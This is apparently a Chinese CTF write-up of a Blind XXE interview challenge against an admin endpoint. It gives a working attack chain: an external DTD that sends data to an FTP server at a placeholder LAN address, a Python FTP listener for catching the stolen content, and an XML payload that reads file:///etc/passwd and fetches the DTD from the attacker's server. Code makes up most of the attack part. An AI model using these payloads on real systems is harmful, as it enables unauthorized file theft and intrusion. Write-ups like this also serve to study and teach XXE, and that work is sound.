朋友去面试,对方公司给的一道题
Blind XXE
题目地址http://180.101.148.103:8088/admin/
路径扫描与端口扫描未发现可利用信息
随便输入点信息,抓包
可以看到是个明显的XXE
但是尝试之后发现无回显
响应包只会提示内部错误或空白
之后尝试使用ceye平台数据外带,未果,可能是我语句错了
(文章中使用的是7tools平台的工具,原理都一样)
文章http://www.admintony.com/XML实体注入漏洞总结-XXE.html
之后看了ftp,尝试使用ftp进行通信,数据外带
VPS创建1.dtd,内容如下(VPS地址打码,均用局域网地址代替)
(记得第二个%进行html实体编码,我第一尝试的时候失败了,因为没编码)
1
| <!ENTITY % param3 "<!ENTITY % exfil SYSTEM 'ftp://192.168.1.1/%data3;'>">
|
运行以下脚本,启动ftp服务器(检查防火墙是否开放21端口,很重要,不然信息无法返回)
Python xxe-ftp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| #!/usr/env/python from __future__ import print_function import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(('0.0.0.0',21)) s.listen(1) print('XXE-FTP listening ') conn,addr = s.accept() print('Connected by %s',addr) conn.sendall('220 Staal XXE-FTP\r\n') stop = False while not stop: dp = str(conn.recv(1024)) if dp.find("USER") > -1: conn.sendall("331 password please - version check\r\n") else: conn.sendall("230 more data please!\r\n") if dp.find("RETR")==0 or dp.find("QUIT")==0: stop = True if dp.find("CWD") > -1: print(dp.replace('CWD ','/',1).replace('\r\n',''),end='') else: print(dp)
conn.close() s.close()
|
开启server服务,记得在1.dtd的目录下开启(防火墙记得开放8000端口)
发送请求
1 2 3 4 5 6 7 8
| <?xml version="1.0"?> <!DOCTYPE r [ <!ENTITY % data3 SYSTEM "file:///etc/passwd"> <!ENTITY % sp SYSTEM "http://192.168.1.1:8000/1.dtd"> %sp; %param3; %exfil; ]>
|
可以看到我们接收到了etc/passwd文件的内容
寻找flag,一般CTF的flag都在根目录或root中,一个一个访问root下的文件,拿到flag
参考文档https://xz.aliyun.com/t/6829#toc-5?tdsourcetag=s_pctim_aiomsg